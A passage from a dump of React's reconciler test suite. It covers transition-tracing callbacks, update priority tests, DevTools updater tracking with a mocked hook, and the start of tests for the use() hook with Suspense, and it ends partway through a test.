'onTransitionProgress(transition, 0, 1000, [two])',\n      // pre-warming\n      'Suspend [Text Two]',\n    ]);\n\n    await act(() => {\n      resolveText('Text Two');\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n    assertLog([\n      'Text Two',\n      'onTransitionProgress(transition, 0, 2000, [])',\n      'onTransitionComplete(transition, 0, 2000)',\n    ]);\n  });\n\n  // @gate enableTransitionTracing\n  it('transition callbacks work for multiple roots', async () => {\n    const getTransitionCallbacks = transitionName => {\n      return {\n        onTransitionStart: (name, startTime) => {\n          Scheduler.log(\n            `onTransitionStart(${name}, ${startTime}) /${transitionName}/`,\n          );\n        },\n        onTransitionProgress: (name, startTime, endTime, pending) => {\n          const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n          Scheduler.log(\n            `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}]) /${transitionName}/`,\n          );\n        },\n        onTransitionComplete: (name, startTime, endTime) => {\n          Scheduler.log(\n            `onTransitionComplete(${name}, ${startTime}, ${endTime}) /${transitionName}/`,\n          );\n        },\n      };\n    };\n\n    function App({name}) {\n      return (\n        <>\n          <Suspense name={name} fallback={<Text text={`Loading ${name}...`} />}>\n            <AsyncText text={`Text ${name}`} />\n          </Suspense>\n        </>\n      );\n    }\n\n    const rootOne = ReactNoop.createRoot({\n      unstable_transitionCallbacks: getTransitionCallbacks('root one'),\n    });\n\n    const rootTwo = ReactNoop.createRoot({\n      unstable_transitionCallbacks: getTransitionCallbacks('root two'),\n    });\n\n    await act(() => {\n      startTransition(() => rootOne.render(<App name=\"one\" />), {\n        name: 'transition one',\n      });\n      startTransition(() => rootTwo.render(<App name=\"two\" />), {\n        name: 'transition two',\n      });\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n\n    assertLog([\n      'Suspend [Text one]',\n      'Loading one...',\n      'Suspend [Text two]',\n      'Loading two...',\n      // pre-warming\n      'Suspend [Text one]',\n      'Suspend [Text two]',\n      // end pre-warming\n      'onTransitionStart(transition one, 0) /root one/',\n      'onTransitionProgress(transition one, 0, 1000, [one]) /root one/',\n      'onTransitionStart(transition two, 0) /root two/',\n      'onTransitionProgress(transition two, 0, 1000, [two]) /root two/',\n    ]);\n\n    await act(() => {\n      caches[0].resolve('Text one');\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n\n    assertLog([\n      'Text one',\n      'onTransitionProgress(transition one, 0, 2000, []) /root one/',\n      'onTransitionComplete(transition one, 0, 2000) /root one/',\n    ]);\n\n    await act(() => {\n      resolveText('Text two');\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n\n    assertLog([\n      'Text two',\n      'onTransitionProgress(transition two, 0, 3000, []) /root two/',\n      'onTransitionComplete(transition two, 0, 3000) /root two/',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactUpdatePriority-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet ContinuousEventPriority;\nlet startTransition;\nlet useState;\nlet useEffect;\nlet act;\nlet waitFor;\nlet waitForPaint;\nlet assertLog;\n\ndescribe('ReactUpdatePriority', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    ContinuousEventPriority =\n      require('react-reconciler/constants').ContinuousEventPriority;\n    startTransition = React.startTransition;\n    useState = React.useState;\n    useEffect = React.useEffect;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('setState inside passive effect triggered by sync update should have default priority', async () => {\n    const root = ReactNoop.createRoot();\n\n    function App() {\n      const [state, setState] = useState(1);\n      useEffect(() => {\n        setState(2);\n      }, []);\n      return <Text text={state} />;\n    }\n\n    await act(() => {\n      ReactNoop.flushSync(() => {\n        root.render(<App />);\n      });\n      // Should not have flushed the effect update yet\n      assertLog([1]);\n    });\n    assertLog([2]);\n  });\n\n  it('setState inside passive effect triggered by idle update should have idle priority', async () => {\n    const root = ReactNoop.createRoot();\n\n    let setDefaultState;\n    function App() {\n      const [idleState, setIdleState] = useState(1);\n      const [defaultState, _setDefaultState] = useState(1);\n      setDefaultState = _setDefaultState;\n      useEffect(() => {\n        Scheduler.log('Idle update');\n        setIdleState(2);\n      }, []);\n      return <Text text={`Idle: ${idleState}, Default: ${defaultState}`} />;\n    }\n\n    await act(async () => {\n      ReactNoop.idleUpdates(() => {\n        root.render(<App />);\n      });\n      // Should not have flushed the effect update yet\n      await waitForPaint(['Idle: 1, Default: 1']);\n\n      // Schedule another update at default priority\n      setDefaultState(2);\n\n      if (gate(flags => flags.enableYieldingBeforePassive)) {\n        // The default update flushes first, because\n        await waitForPaint([\n          // Idle update is scheduled\n          'Idle update',\n        ]);\n        await waitForPaint([\n          // The default update flushes first, without including the idle update\n          'Idle: 1, Default: 2',\n        ]);\n      } else {\n        // The default update flushes first, because\n        await waitForPaint([\n          // Idle update is scheduled\n          'Idle update',\n\n          // The default update flushes first, without including the idle update\n          'Idle: 1, Default: 2',\n        ]);\n      }\n    });\n    // Now the idle update has flushed\n    assertLog(['Idle: 2, Default: 2']);\n  });\n\n  it('continuous updates should interrupt transitions', async () => {\n    const root = ReactNoop.createRoot();\n\n    let setCounter;\n    let setIsHidden;\n    function App() {\n      const [counter, _setCounter] = useState(1);\n      const [isHidden, _setIsHidden] = useState(false);\n      setCounter = _setCounter;\n      setIsHidden = _setIsHidden;\n      if (isHidden) {\n        return <Text text={'(hidden)'} />;\n      }\n      return (\n        <>\n          <Text text={'A' + counter} />\n          <Text text={'B' + counter} />\n          <Text text={'C' + counter} />\n        </>\n      );\n    }\n\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A1', 'B1', 'C1']);\n    expect(root).toMatchRenderedOutput('A1B1C1');\n\n    await act(async () => {\n      startTransition(() => {\n        setCounter(2);\n      });\n      await waitFor(['A2']);\n      ReactNoop.unstable_runWithPriority(ContinuousEventPriority, () => {\n        setIsHidden(true);\n      });\n    });\n    assertLog([\n      // Because the hide update has continuous priority, it should interrupt the\n      // in-progress transition\n      '(hidden)',\n      // When the transition resumes, it's a no-op because the children are\n      // now hidden.\n      '(hidden)',\n    ]);\n    expect(root).toMatchRenderedOutput('(hidden)');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactUpdaters-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactFeatureFlags;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet mockDevToolsHook;\nlet allSchedulerTags;\nlet allSchedulerTypes;\nlet onCommitRootShouldYield;\nlet act;\nlet waitFor;\nlet waitForAll;\nlet assertLog;\n\ndescribe('updaters', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    allSchedulerTags = [];\n    allSchedulerTypes = [];\n\n    onCommitRootShouldYield = true;\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableUpdaterTracking = true;\n\n    mockDevToolsHook = {\n      injectInternals: jest.fn(() => {}),\n      isDevToolsPresent: true,\n      onCommitRoot: jest.fn(fiberRoot => {\n        if (onCommitRootShouldYield) {\n          Scheduler.log('onCommitRoot');\n        }\n        const schedulerTags = [];\n        const schedulerTypes = [];\n        fiberRoot.memoizedUpdaters.forEach(fiber => {\n          schedulerTags.push(fiber.tag);\n          schedulerTypes.push(fiber.elementType);\n        });\n        allSchedulerTags.push(schedulerTags);\n        allSchedulerTypes.push(schedulerTypes);\n      }),\n      onCommitUnmount: jest.fn(() => {}),\n      onPostCommitRoot: jest.fn(() => {}),\n      onScheduleRoot: jest.fn(() => {}),\n\n      // Profiling APIs\n      markCommitStarted: jest.fn(() => {}),\n      markCommitStopped: jest.fn(() => {}),\n      markComponentRenderStarted: jest.fn(() => {}),\n      markComponentRenderStopped: jest.fn(() => {}),\n      markComponentPassiveEffectMountStarted: jest.fn(() => {}),\n      markComponentPassiveEffectMountStopped: jest.fn(() => {}),\n      markComponentPassiveEffectUnmountStarted: jest.fn(() => {}),\n      markComponentPassiveEffectUnmountStopped: jest.fn(() => {}),\n      markComponentLayoutEffectMountStarted: jest.fn(() => {}),\n      markComponentLayoutEffectMountStopped: jest.fn(() => {}),\n      markComponentLayoutEffectUnmountStarted: jest.fn(() => {}),\n      markComponentLayoutEffectUnmountStopped: jest.fn(() => {}),\n      markComponentErrored: jest.fn(() => {}),\n      markComponentSuspended: jest.fn(() => {}),\n      markLayoutEffectsStarted: jest.fn(() => {}),\n      markLayoutEffectsStopped: jest.fn(() => {}),\n      markPassiveEffectsStarted: jest.fn(() => {}),\n      markPassiveEffectsStopped: jest.fn(() => {}),\n      markRenderStarted: jest.fn(() => {}),\n      markRenderYielded: jest.fn(() => {}),\n      markRenderStopped: jest.fn(() => {}),\n      markRenderScheduled: jest.fn(() => {}),\n      markForceUpdateScheduled: jest.fn(() => {}),\n      markStateUpdateScheduled: jest.fn(() => {}),\n    };\n\n    jest.mock(\n      'react-reconciler/src/ReactFiberDevToolsHook',\n      () => mockDevToolsHook,\n    );\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  it('should report the (host) root as the scheduler for root-level render', async () => {\n    const {HostRoot} = require('react-reconciler/src/ReactWorkTags');\n\n    const Parent = () => <Child />;\n    const Child = () => null;\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(allSchedulerTags).toEqual([[HostRoot]]);\n    assertLog(['onCommitRoot']);\n\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(allSchedulerTags).toEqual([[HostRoot], [HostRoot]]);\n    assertLog(['onCommitRoot']);\n  });\n\n  it('should report a function component as the scheduler for a hooks update', async () => {\n    let scheduleForA = null;\n    let scheduleForB = null;\n\n    const Parent = () => (\n      <React.Fragment>\n        <SchedulingComponentA />\n        <SchedulingComponentB />\n      </React.Fragment>\n    );\n    const SchedulingComponentA = () => {\n      const [count, setCount] = React.useState(0);\n      scheduleForA = () => setCount(prevCount => prevCount + 1);\n      return <Child count={count} />;\n    };\n    const SchedulingComponentB = () => {\n      const [count, setCount] = React.useState(0);\n      scheduleForB = () => setCount(prevCount => prevCount + 1);\n      return <Child count={count} />;\n    };\n    const Child = () => null;\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(scheduleForA).not.toBeNull();\n    expect(scheduleForB).not.toBeNull();\n    expect(allSchedulerTypes).toEqual([[null]]);\n    assertLog(['onCommitRoot']);\n\n    await act(() => {\n      scheduleForA();\n    });\n    expect(allSchedulerTypes).toEqual([[null], [SchedulingComponentA]]);\n    assertLog(['onCommitRoot']);\n    await act(() => {\n      scheduleForB();\n    });\n    expect(allSchedulerTypes).toEqual([\n      [null],\n      [SchedulingComponentA],\n      [SchedulingComponentB],\n    ]);\n    assertLog(['onCommitRoot']);\n  });\n\n  it('should report a class component as the scheduler for a setState update', async () => {\n    const Parent = () => <SchedulingComponent />;\n    class SchedulingComponent extends React.Component {\n      state = {};\n      render() {\n        instance = this;\n        return <Child />;\n      }\n    }\n    const Child = () => null;\n    let instance;\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(allSchedulerTypes).toEqual([[null]]);\n    assertLog(['onCommitRoot']);\n    expect(instance).not.toBeNull();\n    await act(() => {\n      instance.setState({});\n    });\n    expect(allSchedulerTypes).toEqual([[null], [SchedulingComponent]]);\n  });\n\n  it('should cover cascading updates', async () => {\n    let triggerActiveCascade = null;\n    let triggerPassiveCascade = null;\n\n    const Parent = () => <SchedulingComponent />;\n    const SchedulingComponent = () => {\n      const [cascade, setCascade] = React.useState(null);\n      triggerActiveCascade = () => setCascade('active');\n      triggerPassiveCascade = () => setCascade('passive');\n      return <CascadingChild cascade={cascade} />;\n    };\n    const CascadingChild = ({cascade}) => {\n      const [count, setCount] = React.useState(0);\n      Scheduler.log(`CascadingChild ${count}`);\n      React.useLayoutEffect(() => {\n        if (cascade === 'active') {\n          setCount(prevCount => prevCount + 1);\n        }\n        return () => {};\n      }, [cascade]);\n      React.useEffect(() => {\n        if (cascade === 'passive') {\n          setCount(prevCount => prevCount + 1);\n        }\n        return () => {};\n      }, [cascade]);\n      return count;\n    };\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(async () => {\n      root.render(<Parent />);\n      await waitFor(['CascadingChild 0', 'onCommitRoot']);\n    });\n    expect(triggerActiveCascade).not.toBeNull();\n    expect(triggerPassiveCascade).not.toBeNull();\n    expect(allSchedulerTypes).toEqual([[null]]);\n\n    await act(async () => {\n      triggerActiveCascade();\n      await waitFor([\n        'CascadingChild 0',\n        'onCommitRoot',\n        'CascadingChild 1',\n        'onCommitRoot',\n      ]);\n    });\n    expect(allSchedulerTypes).toEqual([\n      [null],\n      [SchedulingComponent],\n      [CascadingChild],\n    ]);\n\n    await act(async () => {\n      triggerPassiveCascade();\n      await waitFor([\n        'CascadingChild 1',\n        'onCommitRoot',\n        'CascadingChild 2',\n        'onCommitRoot',\n      ]);\n    });\n    expect(allSchedulerTypes).toEqual([\n      [null],\n      [SchedulingComponent],\n      [CascadingChild],\n      [SchedulingComponent],\n      [CascadingChild],\n    ]);\n\n    // Verify no outstanding flushes\n    await waitForAll([]);\n  });\n\n  // This test should be convertable to createRoot but the allScheduledTypes assertions are no longer the same\n  // So I'm leaving it in legacy mode for now and just disabling if legacy mode is turned off\n  // @gate !disableLegacyMode\n  it('should cover suspense pings', async () => {\n    let data = null;\n    let resolver = null;\n    let promise = null;\n    const fakeCacheRead = () => {\n      if (data === null) {\n        promise = new Promise(resolve => {\n          resolver = resolvedData => {\n            data = resolvedData;\n            resolve(resolvedData);\n          };\n        });\n        throw promise;\n      } else {\n        return data;\n      }\n    };\n    const Parent = () => (\n      <React.Suspense fallback={<Fallback />}>\n        <Suspender />\n      </React.Suspense>\n    );\n    const Fallback = () => null;\n    let setShouldSuspend = null;\n    const Suspender = ({suspend}) => {\n      const tuple = React.useState(false);\n      setShouldSuspend = tuple[1];\n      if (tuple[0] === true) {\n        return fakeCacheRead();\n      } else {\n        return null;\n      }\n    };\n\n    await act(() => {\n      ReactDOM.render(<Parent />, document.createElement('div'));\n      assertLog(['onCommitRoot']);\n    });\n    expect(setShouldSuspend).not.toBeNull();\n    expect(allSchedulerTypes).toEqual([[null]]);\n\n    await act(() => {\n      setShouldSuspend(true);\n    });\n    assertLog(['onCommitRoot']);\n    expect(allSchedulerTypes).toEqual([[null], [Suspender]]);\n\n    expect(resolver).not.toBeNull();\n    await act(() => {\n      resolver('abc');\n      return promise;\n    });\n    assertLog(['onCommitRoot']);\n    expect(allSchedulerTypes).toEqual([[null], [Suspender], [Suspender]]);\n\n    // Verify no outstanding flushes\n    await waitForAll([]);\n  });\n\n  it('should cover error handling', async () => {\n    let triggerError = null;\n\n    const Parent = () => {\n      const [shouldError, setShouldError] = React.useState(false);\n      triggerError = () => setShouldError(true);\n      return shouldError ? (\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>\n      ) : (\n        <ErrorBoundary>\n          <Yield value=\"initial\" />\n        </ErrorBoundary>\n      );\n    };\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <Yield value=\"error\" />;\n        }\n        return this.props.children;\n      }\n    }\n    const Yield = ({value}) => {\n      Scheduler.log(value);\n      return null;\n    };\n    const BrokenRender = () => {\n      throw new Error('Hello');\n    };\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Parent shouldError={false} />);\n    });\n    assertLog(['initial', 'onCommitRoot']);\n    expect(triggerError).not.toBeNull();\n\n    allSchedulerTypes.splice(0);\n    onCommitRootShouldYield = true;\n\n    await act(() => {\n      triggerError();\n    });\n    assertLog(['onCommitRoot', 'error', 'onCommitRoot']);\n    expect(allSchedulerTypes).toEqual([[Parent], [ErrorBoundary]]);\n\n    // Verify no outstanding flushes\n    await waitForAll([]);\n  });\n\n  it('should distinguish between updaters in the case of interleaved work', async () => {\n    const {\n      FunctionComponent,\n      HostRoot,\n    } = require('react-reconciler/src/ReactWorkTags');\n\n    let triggerLowPriorityUpdate = null;\n    let triggerSyncPriorityUpdate = null;\n\n    const SyncPriorityUpdater = () => {\n      const [count, setCount] = React.useState(0);\n      triggerSyncPriorityUpdate = () => setCount(prevCount => prevCount + 1);\n      Scheduler.log(`SyncPriorityUpdater ${count}`);\n      return <Yield value={`HighPriority ${count}`} />;\n    };\n    const LowPriorityUpdater = () => {\n      const [count, setCount] = React.useState(0);\n      triggerLowPriorityUpdate = () => {\n        React.startTransition(() => {\n          setCount(prevCount => prevCount + 1);\n        });\n      };\n      Scheduler.log(`LowPriorityUpdater ${count}`);\n      return <Yield value={`LowPriority ${count}`} />;\n    };\n    const Yield = ({value}) => {\n      Scheduler.log(`Yield ${value}`);\n      return null;\n    };\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    root.render(\n      <React.Fragment>\n        <SyncPriorityUpdater />\n        <LowPriorityUpdater />\n      </React.Fragment>,\n    );\n\n    // Render everything initially.\n    await waitForAll([\n      'SyncPriorityUpdater 0',\n      'Yield HighPriority 0',\n      'LowPriorityUpdater 0',\n      'Yield LowPriority 0',\n      'onCommitRoot',\n    ]);\n    expect(triggerLowPriorityUpdate).not.toBeNull();\n    expect(triggerSyncPriorityUpdate).not.toBeNull();\n    expect(allSchedulerTags).toEqual([[HostRoot]]);\n\n    // Render a partial update, but don't finish.\n    await act(async () => {\n      triggerLowPriorityUpdate();\n      await waitFor(['LowPriorityUpdater 1']);\n      expect(allSchedulerTags).toEqual([[HostRoot]]);\n\n      // Interrupt with higher priority work.\n      ReactDOM.flushSync(triggerSyncPriorityUpdate);\n      assertLog([\n        'SyncPriorityUpdater 1',\n        'Yield HighPriority 1',\n        'onCommitRoot',\n      ]);\n      expect(allSchedulerTypes).toEqual([[null], [SyncPriorityUpdater]]);\n\n      // Finish the initial partial update\n      triggerLowPriorityUpdate();\n      await waitForAll([\n        'LowPriorityUpdater 2',\n        'Yield LowPriority 2',\n        'onCommitRoot',\n      ]);\n    });\n    expect(allSchedulerTags).toEqual([\n      [HostRoot],\n      [FunctionComponent],\n      [FunctionComponent],\n    ]);\n    expect(allSchedulerTypes).toEqual([\n      [null],\n      [SyncPriorityUpdater],\n      [LowPriorityUpdater],\n    ]);\n\n    // Verify no outstanding flushes\n    await waitForAll([]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactUse-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet use;\nlet useDebugValue;\nlet useState;\nlet useTransition;\nlet useMemo;\nlet useEffect;\nlet Suspense;\nlet startTransition;\nlet pendingTextRequests;\nlet waitFor;\nlet waitForPaint;\nlet assertLog;\nlet waitForAll;\nlet waitForMicrotasks;\nlet assertConsoleErrorDev;\n\ndescribe('ReactUse', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    use = React.use;\n    useDebugValue = React.useDebugValue;\n    useState = React.useState;\n    useTransition = React.useTransition;\n    useMemo = React.useMemo;\n    useEffect = React.useEffect;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    waitFor = InternalTestUtils.waitFor;\n    waitForMicrotasks = InternalTestUtils.waitForMicrotasks;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    pendingTextRequests = new Map();\n  });\n\n  function resolveTextRequests(text) {\n    const requests = pendingTextRequests.get(text);\n    if (requests !== undefined) {\n      pendingTextRequests.delete(text);\n      requests.forEach(resolve => resolve(text));\n    }\n  }\n\n  function getAsyncText(text) {\n    // getAsyncText is completely uncached — it performs a new async operation\n    // every time it's called. During a transition, React should be able to\n    // unwrap it anyway.\n    Scheduler.log(`Async text requested [${text}]`);\n    return new Promise(resolve => {\n      const requests = pendingTextRequests.get(text);\n      if (requests !== undefined) {\n        requests.push(resolve);\n        pendingTextRequests.set(text, requests);\n      } else {\n        pendingTextRequests.set(text, [resolve]);\n      }\n    });\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  // This behavior was intentionally disabled to derisk the rollout of `use`.\n  // It changes the behavior of old, pre-`use` Suspense implementations. We may\n  // add this back; however, the plan is to migrate all existing Suspense code\n  // to `use`, so the extra code probably isn't worth it.\n  // @gate TODO\n  it('if suspended fiber is pinged in a microtask, retry immediately without unwinding the stack', async () => {\n    let fulfilled = false;\n    function Async() {\n      if (fulfilled) {\n        return <Text text=\"Async\" />;\n      }\n      Scheduler.log('Suspend!');\n      throw Promise.resolve().then(() => {\n        Scheduler.log('Resolve in microtask');\n        fulfilled = true;\n      });\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n\n    assertLog([\n      // React will yield when the async component suspends.\n      'Suspend!',\n      'Resolve in microtask',\n\n      // Finished rendering without unwinding the stack or preparing a fallback.\n      'Async',\n    ]);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  it('if suspended fiber is pinged in a microtask, it does not block a transition from completing', async () => {\n    let fulfilled = false;\n    function Async() {\n      if (fulfilled) {\n        return <Text text=\"Async\" />;\n      }\n      Scheduler.log('Suspend!');\n      throw Promise.resolve().then(() => {\n        Scheduler.log('Resolve in microtask');\n        fulfilled = true;\n      });\n    }\n\n    function App() {\n      return <Async />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Suspend!', 'Resolve in microtask', 'Async']);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  it('does not infinite loop if already fulfilled thenable is thrown', async () => {\n    // An already fulfilled promise should never be thrown. Since it already\n    // fulfilled, we shouldn't bother trying to render again — doing so would\n    // likely lead to an infinite loop. This scenario should only happen if a\n    // userspace Suspense library makes an implementation mistake.\n\n    // Create an already fulfilled thenable\n    const thenable = {\n      then(ping) {},\n      status: 'fulfilled',\n      value: null,\n    };\n\n    let i = 0;\n    function Async() {\n      if (i++ > 50) {\n        throw new Error('Infinite loop detected');\n      }\n      Scheduler.log('Suspend!');\n      // This thenable should never be thrown because it already fulfilled.\n      // But if it is thrown, React should handle it gracefully.\n      throw thenable;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([\n      'Suspend!',\n      'Loading...',\n      // pre-warming\n      'Suspend!',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading...');\n  });\n\n  it('basic use(promise)', async () => {\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.resolve('B');\n    const promiseC = Promise.resolve('C');\n\n    function Async() {\n      const text = use(promiseA) + use(promiseB) + use(promiseC);\n      return <Text text={text} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['ABC']);\n    expect(root).toMatchRenderedOutput('ABC');\n  });\n\n  it(\"using a promise that's not cached between attempts\", async () => {\n    function Async() {\n      const text =\n        use(Promise.resolve('A')) +\n        use(Promise.resolve('B')) +\n        use(Promise.resolve('C'));\n      return <Text text={text} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. Creating ' +\n        'promises inside a Client Component or hook is not yet ' +\n        'supported, except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    assertLog(['ABC']);\n    expect(root).toMatchRenderedOutput('ABC');\n  });\n\n  it('using a rejected promise will throw', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.reject(new Error('Oops!'));\n    const promiseC = Promise.resolve('C');\n\n    // Jest/Node will raise an unhandled rejected error unless we await this. It\n    // works fine in the browser, though.\n    await expect(promiseB).rejects.toThrow('Oops!');\n\n    function Async() {\n      const text = use(promiseA) + use(promiseB) + use(promiseC);\n      return <Text text={text} />;\n    }\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <Async />\n        </ErrorBoundary>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Oops!', 'Oops!']);\n  });\n\n  it('use(promise) in multiple components', async () => {\n    // This tests that the state for tracking promises is reset per component.\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.resolve('B');\n    const promiseC = Promise.resolve('C');\n    const promiseD = Promise.resolve('D');\n\n    function Child({prefix}) {\n      return <Text text={prefix + use(promiseC) + use(promiseD)} />;\n    }\n\n    function Parent() {\n      return <Child prefix={use(promiseA) + use(promiseB)} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Parent />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['ABCD']);\n    expect(root).toMatchRenderedOutput('ABCD');\n  });\n\n  it('use(promise) in multiple sibling components', async () => {\n    // This tests that the state for tracking promises is reset per component.\n\n    const promiseA = {then: () => {}, status: 'pending', value: null};\n    const promiseB = {then: () => {}, status: 'pending', value: null};\n    const promiseC = {then: () => {}, status: 'fulfilled', value: 'C'};\n    const promiseD = {then: () => {}, status: 'fulfilled', value: 'D'};\n\n    function Sibling1({prefix}) {\n      return <Text text={use(promiseA) + use(promiseB)} />;\n    }\n\n    function Sibling2() {\n      return <Text text={use(promiseC) + use(promiseD)} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Sibling1 />\n          <Sibling2 />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Loading...']);\n    expect(root).toMatchRenderedOutput('Loading...');\n  });\n\n  it('erroring in the same component as an uncached promise does not result in an infinite loop', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={'Caught an error: ' + this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let i = 0;\n    function Async({\n      // Intentionally destrucutring a prop here so that our production error\n      // stack trick is triggered at the beginning of the function\n      prop,\n    }) {\n      if (i++ > 50) {\n        throw new Error('Infinite loop detected');\n      }\n      try {\n        use(Promise.resolve('Async'));\n      } catch (e) {\n        Scheduler.log('Suspend! [Async]');\n        throw e;\n      }\n      throw new Error('Oops!');\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <ErrorBoundary>\n            <Async />\n          </ErrorBoundary>\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. Creating ' +\n        'promises inside a Client Component or hook is not yet ' +\n        'supported, except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n      'A component was suspended by an uncached promise. Creating ' +\n        'promises inside a Client Component or hook is not yet ' +\n        'supported, except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    assertLog([\n      // First attempt. The uncached promise suspends.\n      'Suspend! [Async]',\n      // Because the promise already fulfilled, we're able to unwrap the value\n      // immediately in a microtask.\n      //\n      // Then we proceed to the rest of the component, 